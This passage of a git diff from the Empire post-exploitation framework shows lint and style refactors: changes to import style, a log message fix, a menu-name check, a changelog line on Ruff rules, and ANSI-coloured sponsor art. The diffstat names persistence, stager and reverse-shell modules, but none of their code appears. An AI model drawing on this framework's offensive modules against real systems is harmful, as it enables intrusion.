.../persistence/userland/registry.py | 41 +++--- .../persistence/userland/schtasks.py | 41 +++--- .../modules/python/collection/osx/prompt.py | 13 +- .../plugins/csharpserver/csharpserver.py | 4 +- .../reverseshell_stager_server.py | 4 +- .../websockify_server/websockify_server.py | 3 +- empire/server/server.py | 8 +- empire/server/stagers/multi/generate_agent.py | 7 +- empire/server/stagers/multi/pyinstaller.py | 13 +- .../stagers/windows/backdoorLnkMacro.py | 6 +- empire/server/stagers/windows/csharp_exe.py | 5 +- empire/server/stagers/windows/launcher_bat.py | 3 +- empire/server/stagers/windows/macro.py | 7 +- empire/server/stagers/windows/shellcode.py | 5 +- empire/server/utils/listener_util.py | 6 +- empire/server/utils/option_util.py | 2 +- empire/test/test_agent_api.py | 32 +++-- empire/test/test_agent_checkins_api.py | 42 ++++--- empire/test/test_agent_file_api.py | 21 ++-- empire/test/test_agent_task_api.py | 117 +++++++++--------- empire/test/test_agents.py | 11 +- empire/test/test_bypass_api.py | 31 ++--- empire/test/test_common_agents.py | 4 +- empire/test/test_credential_api.py | 27 ++-- empire/test/test_download_api.py | 36 +++--- empire/test/test_helpers.py | 3 +- empire/test/test_hooks_internal.py | 3 +- empire/test/test_host_api.py | 9 +- empire/test/test_host_process_api.py | 11 +- empire/test/test_listener_api.py | 63 +++++----- empire/test/test_meta_api.py | 5 +- empire/test/test_module_api.py | 42 ++++--- empire/test/test_modules.py | 5 +- empire/test/test_obfuscation_api.py | 37 +++--- empire/test/test_openapi.py | 5 +- empire/test/test_plugin_api.py | 32 ++--- empire/test/test_plugin_task_api.py | 11 +- empire/test/test_profile_api.py | 27 ++-- empire/test/test_stager_api.py | 99 ++++++++------- empire/test/test_startup_loaders.py | 18 ++- empire/test/test_tags_api.py | 98 ++++++++------- empire/test/test_user_api.py | 45 +++---- empire/test/test_zz_reset.py | 2 +- pyproject.toml | 28 ++++- 80 files changed, 863 insertions(+), 789 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index ad259bfc9..fd2a08f91 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -26,6 +26,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Changed - Converted C# server plugin to use plugin taskings (@Cx01N) - Upgraded Ruff to 0.5.0 and Black to 24.4.2 (@Vinnybod) +- Added pylint-convention (PLC), pylint-error (PLE), pylint-warning (PLW), and pylint-refactor (PLR) to ruff config (@Vinnybod) ## [5.10.3] - 2024-05-23 diff --git a/empire.py b/empire.py index 3d0b29e35..a9687dec4 100644 --- a/empire.py +++ b/empire.py @@ -2,13 +2,13 @@ import sys -import empire.arguments as arguments +from empire import arguments if __name__ == "__main__": args = arguments.args if args.subparser_name == "server": - import empire.server.server as server + from empire.server import server server.run(args) elif args.subparser_name == "sync-starkiller": @@ -21,7 +21,7 @@ sync_starkiller(config) elif args.subparser_name == "client": - import empire.client.client as client + from empire.client import client client.start(args) diff --git a/empire/client/client.py b/empire/client/client.py index 3b243c2a9..2ec29b714 100644 --- a/empire/client/client.py +++ b/empire/client/client.py @@ -194,7 +194,7 @@ def run_resource_file(self, session, resource): except CliExitException: return except Exception: - log.error("Error parsing resource command: ", text) + log.error(f"Error parsing resource command: {text}") log.info(f"Finished executing resource file: {resource}") diff --git a/empire/client/src/bindings.py b/empire/client/src/bindings.py index 0c5dfb7cb..5c1b07d92 100644 --- a/empire/client/src/bindings.py +++ b/empire/client/src/bindings.py @@ -13,10 +13,7 @@ @Condition def ctrl_c_filter(): - return bool( - menu_state.current_menu_name == "ChatMenu" - or menu_state.current_menu_name == "ShellMenu" - ) + return bool(menu_state.current_menu_name in ("ChatMenu", "ShellMenu")) @bindings.add("c-c", filter=ctrl_c_filter) diff --git a/empire/client/src/menus/SponsorsMenu.py b/empire/client/src/menus/SponsorsMenu.py index 3d2c0bf73..a8c608ed7 100644 --- a/empire/client/src/menus/SponsorsMenu.py +++ b/empire/client/src/menus/SponsorsMenu.py @@ -36,51 +36,51 @@ def list(self) -> None: # Cybrary print( """ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ -████████████████████████████████████████████████████████████████████████████████████████████████████ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ 